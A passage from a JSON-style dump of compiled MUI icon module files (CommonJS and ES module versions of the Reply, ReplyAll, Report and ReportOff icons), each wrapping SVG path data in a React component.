    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 8V5l-7 7 7 7v-3l-4-4zm6 1V5l-7 7 7 7v-4.1c5 0 8.5 1.6 11 5.1-1-5-4-10-11-11\"\n}), 'ReplyAll');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReplyAll.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 8V5l-7 7 7 7v-3l-4-4zm6 1V5l-7 7 7 7v-4.1c5 0 8.5 1.6 11 5.1-1-5-4-10-11-11\"\n}), 'ReplyAll');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReplyAllOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 8V5l-7 7 7 7v-3l-4-4zm6 1V5l-7 7 7 7v-4.1c5 0 8.5 1.6 11 5.1-1-5-4-10-11-11\"\n}), 'ReplyAllOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReplyAllOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 8V5l-7 7 7 7v-3l-4-4zm6 1V5l-7 7 7 7v-4.1c5 0 8.5 1.6 11 5.1-1-5-4-10-11-11\"\n}), 'ReplyAllOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReplyAllRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 7.56c0-.94-1.14-1.42-1.81-.75L.71 11.29c-.39.39-.39 1.02 0 1.41l4.48 4.48c.67.68 1.81.2 1.81-.74 0-.28-.11-.55-.31-.75L3 12l3.69-3.69c.2-.2.31-.47.31-.75M13 9V7.41c0-.89-1.08-1.34-1.71-.71L6.7 11.29c-.39.39-.39 1.02 0 1.41l4.59 4.59c.63.63 1.71.18 1.71-.71V14.9c5 0 8.5 1.6 11 5.1-1-5-4-10-11-11\"\n}), 'ReplyAllRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReplyAllRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 7.56c0-.94-1.14-1.42-1.81-.75L.71 11.29c-.39.39-.39 1.02 0 1.41l4.48 4.48c.67.68 1.81.2 1.81-.74 0-.28-.11-.55-.31-.75L3 12l3.69-3.69c.2-.2.31-.47.31-.75M13 9V7.41c0-.89-1.08-1.34-1.71-.71L6.7 11.29c-.39.39-.39 1.02 0 1.41l4.59 4.59c.63.63 1.71.18 1.71-.71V14.9c5 0 8.5 1.6 11 5.1-1-5-4-10-11-11\"\n}), 'ReplyAllRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReplyAllSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 8V5l-7 7 7 7v-3l-4-4zm6 1V5l-7 7 7 7v-4.1c5 0 8.5 1.6 11 5.1-1-5-4-10-11-11\"\n}), 'ReplyAllSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReplyAllSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 8V5l-7 7 7 7v-3l-4-4zm6 1V5l-7 7 7 7v-4.1c5 0 8.5 1.6 11 5.1-1-5-4-10-11-11\"\n}), 'ReplyAllSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReplyAllTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 8V5l-7 7 7 7v-3l-4-4zm6 1V5l-7 7 7 7v-4.1c5 0 8.5 1.6 11 5.1-1-5-4-10-11-11\"\n}), 'ReplyAllTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReplyAllTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 8V5l-7 7 7 7v-3l-4-4zm6 1V5l-7 7 7 7v-4.1c5 0 8.5 1.6 11 5.1-1-5-4-10-11-11\"\n}), 'ReplyAllTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReplyOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 9V5l-7 7 7 7v-4.1c5 0 8.5 1.6 11 5.1-1-5-4-10-11-11\"\n}), 'ReplyOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReplyOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 9V5l-7 7 7 7v-4.1c5 0 8.5 1.6 11 5.1-1-5-4-10-11-11\"\n}), 'ReplyOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReplyRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 9V7.41c0-.89-1.08-1.34-1.71-.71L3.7 11.29c-.39.39-.39 1.02 0 1.41l4.59 4.59c.63.63 1.71.19 1.71-.7V14.9c5 0 8.5 1.6 11 5.1-1-5-4-10-11-11\"\n}), 'ReplyRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReplyRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 9V7.41c0-.89-1.08-1.34-1.71-.71L3.7 11.29c-.39.39-.39 1.02 0 1.41l4.59 4.59c.63.63 1.71.19 1.71-.7V14.9c5 0 8.5 1.6 11 5.1-1-5-4-10-11-11\"\n}), 'ReplyRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReplySharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 9V5l-7 7 7 7v-4.1c5 0 8.5 1.6 11 5.1-1-5-4-10-11-11\"\n}), 'ReplySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReplySharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 9V5l-7 7 7 7v-4.1c5 0 8.5 1.6 11 5.1-1-5-4-10-11-11\"\n}), 'ReplySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReplyTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 9V5l-7 7 7 7v-4.1c5 0 8.5 1.6 11 5.1-1-5-4-10-11-11\"\n}), 'ReplyTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReplyTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 9V5l-7 7 7 7v-4.1c5 0 8.5 1.6 11 5.1-1-5-4-10-11-11\"\n}), 'ReplyTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Report.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.73 3H8.27L3 8.27v7.46L8.27 21h7.46L21 15.73V8.27zM12 17.3c-.72 0-1.3-.58-1.3-1.3s.58-1.3 1.3-1.3 1.3.58 1.3 1.3-.58 1.3-1.3 1.3m1-4.3h-2V7h2z\"\n}), 'Report');"
  },
  {
    "path": "packages/mui-icons-material/lib/Report.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.73 3H8.27L3 8.27v7.46L8.27 21h7.46L21 15.73V8.27zM12 17.3c-.72 0-1.3-.58-1.3-1.3s.58-1.3 1.3-1.3 1.3.58 1.3 1.3-.58 1.3-1.3 1.3m1-4.3h-2V7h2z\"\n}), 'Report');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReportGmailerrorred.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.73 3H8.27L3 8.27v7.46L8.27 21h7.46L21 15.73V8.27zM19 14.9 14.9 19H9.1L5 14.9V9.1L9.1 5h5.8L19 9.1z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 7h2v6h-2zm0 8h2v2h-2z\"\n}, \"1\")], 'ReportGmailerrorred');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReportGmailerrorred.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.73 3H8.27L3 8.27v7.46L8.27 21h7.46L21 15.73V8.27zM19 14.9 14.9 19H9.1L5 14.9V9.1L9.1 5h5.8L19 9.1z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 7h2v6h-2zm0 8h2v2h-2z\"\n}, \"1\")], 'ReportGmailerrorred');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReportGmailerrorredOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.73 3H8.27L3 8.27v7.46L8.27 21h7.46L21 15.73V8.27zM19 14.9 14.9 19H9.1L5 14.9V9.1L9.1 5h5.8L19 9.1z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"16\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 7h2v7h-2z\"\n}, \"2\")], 'ReportGmailerrorredOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReportGmailerrorredOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.73 3H8.27L3 8.27v7.46L8.27 21h7.46L21 15.73V8.27zM19 14.9 14.9 19H9.1L5 14.9V9.1L9.1 5h5.8L19 9.1z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"16\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 7h2v7h-2z\"\n}, \"2\")], 'ReportGmailerrorredOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReportGmailerrorredRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.71 7.98 16.03 3.3c-.19-.19-.45-.3-.71-.3H8.68c-.26 0-.52.11-.7.29L3.29 7.98c-.18.18-.29.44-.29.7v6.63c0 .27.11.52.29.71l4.68 4.68c.19.19.45.3.71.3h6.63c.27 0 .52-.11.71-.29l4.68-4.68c.19-.19.29-.44.29-.71V8.68c.01-.26-.1-.52-.28-.7M19 14.9 14.9 19H9.1L5 14.9V9.1L9.1 5h5.8L19 9.1z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"16\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 7c-.55 0-1 .45-1 1v5c0 .55.45 1 1 1s1-.45 1-1V8c0-.55-.45-1-1-1\"\n}, \"2\")], 'ReportGmailerrorredRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReportGmailerrorredRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.71 7.98 16.03 3.3c-.19-.19-.45-.3-.71-.3H8.68c-.26 0-.52.11-.7.29L3.29 7.98c-.18.18-.29.44-.29.7v6.63c0 .27.11.52.29.71l4.68 4.68c.19.19.45.3.71.3h6.63c.27 0 .52-.11.71-.29l4.68-4.68c.19-.19.29-.44.29-.71V8.68c.01-.26-.1-.52-.28-.7M19 14.9 14.9 19H9.1L5 14.9V9.1L9.1 5h5.8L19 9.1z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"16\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 7c-.55 0-1 .45-1 1v5c0 .55.45 1 1 1s1-.45 1-1V8c0-.55-.45-1-1-1\"\n}, \"2\")], 'ReportGmailerrorredRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReportGmailerrorredSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.73 3H8.27L3 8.27v7.46L8.27 21h7.46L21 15.73V8.27zM19 14.9 14.9 19H9.1L5 14.9V9.1L9.1 5h5.8L19 9.1z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"16\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 7h2v7h-2z\"\n}, \"2\")], 'ReportGmailerrorredSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReportGmailerrorredSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.73 3H8.27L3 8.27v7.46L8.27 21h7.46L21 15.73V8.27zM19 14.9 14.9 19H9.1L5 14.9V9.1L9.1 5h5.8L19 9.1z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"16\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 7h2v7h-2z\"\n}, \"2\")], 'ReportGmailerrorredSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReportGmailerrorredTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.73 3H8.27L3 8.27v7.46L8.27 21h7.46L21 15.73V8.27zM19 14.9 14.9 19H9.1L5 14.9V9.1L9.1 5h5.8L19 9.1z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"16\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 7h2v7h-2z\"\n}, \"2\")], 'ReportGmailerrorredTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReportGmailerrorredTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.73 3H8.27L3 8.27v7.46L8.27 21h7.46L21 15.73V8.27zM19 14.9 14.9 19H9.1L5 14.9V9.1L9.1 5h5.8L19 9.1z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"16\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 7h2v7h-2z\"\n}, \"2\")], 'ReportGmailerrorredTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReportOff.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 7h2v2.92l6.91 6.91 1.09-1.1V8.27L15.73 3H8.27L7.18 4.1 11 7.92zm11.27 14.73-20-20.01L1 2.99l3.64 3.64L3 8.27v7.46L8.27 21h7.46l1.64-1.63L21 23zM12 17.3c-.72 0-1.3-.58-1.3-1.3s.58-1.3 1.3-1.3 1.3.58 1.3 1.3-.58 1.3-1.3 1.3\"\n}), 'ReportOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReportOff.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 7h2v2.92l6.91 6.91 1.09-1.1V8.27L15.73 3H8.27L7.18 4.1 11 7.92zm11.27 14.73-20-20.01L1 2.99l3.64 3.64L3 8.27v7.46L8.27 21h7.46l1.64-1.63L21 23zM12 17.3c-.72 0-1.3-.58-1.3-1.3s.58-1.3 1.3-1.3 1.3.58 1.3 1.3-.58 1.3-1.3 1.3\"\n}), 'ReportOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReportOffOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.1 5h5.8L19 9.1v5.8l-.22.22 1.42 1.41.8-.8V8.27L15.73 3H8.27l-.8.8 1.41 1.42z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"16\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 9.33V7h-2v.33zM2.41 1.58 1 2.99l3.64 3.64L3 8.27v7.46L8.27 21h7.46l1.64-1.64L21.01 23l1.41-1.41zM14.9 19H9.1L5 14.9V9.1l1.05-1.05 9.9 9.9z\"\n}, \"2\")], 'ReportOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReportOffOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.1 5h5.8L19 9.1v5.8l-.22.22 1.42 1.41.8-.8V8.27L15.73 3H8.27l-.8.8 1.41 1.42z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"16\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 9.33V7h-2v.33zM2.41 1.58 1 2.99l3.64 3.64L3 8.27v7.46L8.27 21h7.46l1.64-1.64L21.01 23l1.41-1.41zM14.9 19H9.1L5 14.9V9.1l1.05-1.05 9.9 9.9z\"\n}, \"2\")], 'ReportOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReportOffRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 7c.55 0 1 .45 1 1v1.33l7.2 7.2.51-.51c.19-.19.29-.44.29-.71V8.68c0-.27-.11-.52-.29-.71l-4.68-4.68c-.19-.18-.45-.29-.71-.29H8.68c-.26 0-.52.11-.7.29l-.51.51 3.69 3.69c.17-.29.48-.49.84-.49M2.41 1.58 1 2.99l3.64 3.64-1.35 1.35c-.18.18-.29.44-.29.7v6.63c0 .27.11.52.29.71l4.68 4.68c.19.19.45.3.71.3h6.63c.27 0 .52-.11.71-.29l1.35-1.35L21.01 23l1.41-1.41zM12 17.3c-.72 0-1.3-.58-1.3-1.3s.58-1.3 1.3-1.3 1.3.58 1.3 1.3-.58 1.3-1.3 1.3\"\n}), 'ReportOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReportOffRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 7c.55 0 1 .45 1 1v1.33l7.2 7.2.51-.51c.19-.19.29-.44.29-.71V8.68c0-.27-.11-.52-.29-.71l-4.68-4.68c-.19-.18-.45-.29-.71-.29H8.68c-.26 0-.52.11-.7.29l-.51.51 3.69 3.69c.17-.29.48-.49.84-.49M2.41 1.58 1 2.99l3.64 3.64-1.35 1.35c-.18.18-.29.44-.29.7v6.63c0 .27.11.52.29.71l4.68 4.68c.19.19.45.3.71.3h6.63c.27 0 .52-.11.71-.29l1.35-1.35L21.01 23l1.41-1.41zM12 17.3c-.72 0-1.3-.58-1.3-1.3s.58-1.3 1.3-1.3 1.3.58 1.3 1.3-.58 1.3-1.3 1.3\"\n}), 'ReportOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReportOffSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 7h2v2.33l7.2 7.2.8-.8V8.27L15.73 3H8.27l-.8.8L11 7.33zM2.41 1.58 1 2.99l3.64 3.64L3 8.27v7.46L8.27 21h7.46l1.64-1.64L21.01 23l1.41-1.41zM11 12.99l.01.01H11zm1 4.31c-.72 0-1.3-.58-1.3-1.3s.58-1.3 1.3-1.3 1.3.58 1.3 1.3-.58 1.3-1.3 1.3\"\n}), 'ReportOffSharp');"
  },
  {
